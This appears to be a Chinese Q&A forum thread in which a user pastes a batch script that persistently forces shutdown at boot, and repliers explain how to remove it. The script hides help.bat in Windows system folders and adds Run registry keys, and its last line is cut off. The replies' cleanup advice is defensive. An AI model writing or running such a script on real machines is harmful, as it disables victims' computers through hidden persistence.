紧急求助!!!关于bat

来源:百度知道 编辑:UC知道 时间:2024/08/22 16:46:03
谁能帮帮我
我的电脑执行了一个bat的东西后.开机后会自动关机.我现在只能用安全模式开机寻 解决方案
@echo off
title 1
@echo @echo off >%windir%\help.bat >nul
@echo attrib +s +a +r +h %windir%\system\help.bat >>%windir%\help.bat >nul
@echo attrib +s +a +r +h %windir%\system32\help.bat >>%windir%\help.bat >nul
@echo shutdown -s -f -t 0 >>%windir%\help.bat
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v help /t reg_sz /d %windir%\help.bat /f
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v help1 /t reg_sz /d %windir%\system32\help.bat /f
@reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v help /t reg_sz /d %windir%\help.bat /f
copy %windir%\help.bat %windir%\system32\help.bat >nul
copy %windir%\help.bat %windir%\system\help.

@echo shutdown -s -f -t 0 >>%windir%\help.bat 这句的意思就是关机

运行regedit命令打开注册表 将其中子键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 里help.bat的键值删除

还有请你把windows目录下一个名为help.bat的文件发上来 这个文件在windows,
windows\system, windows\system32中都存在 你这段bat主要运行加载的就是他 可能他里面有什么猫腻吧 如果你发上来的这个就是help.bat 那么就把硬盘里所有help.bat的文件全部删除 然后。。。。问题解决鸟 哈

就是在开机启动里写了个关机的批处理...

照批处理的内容删了就行了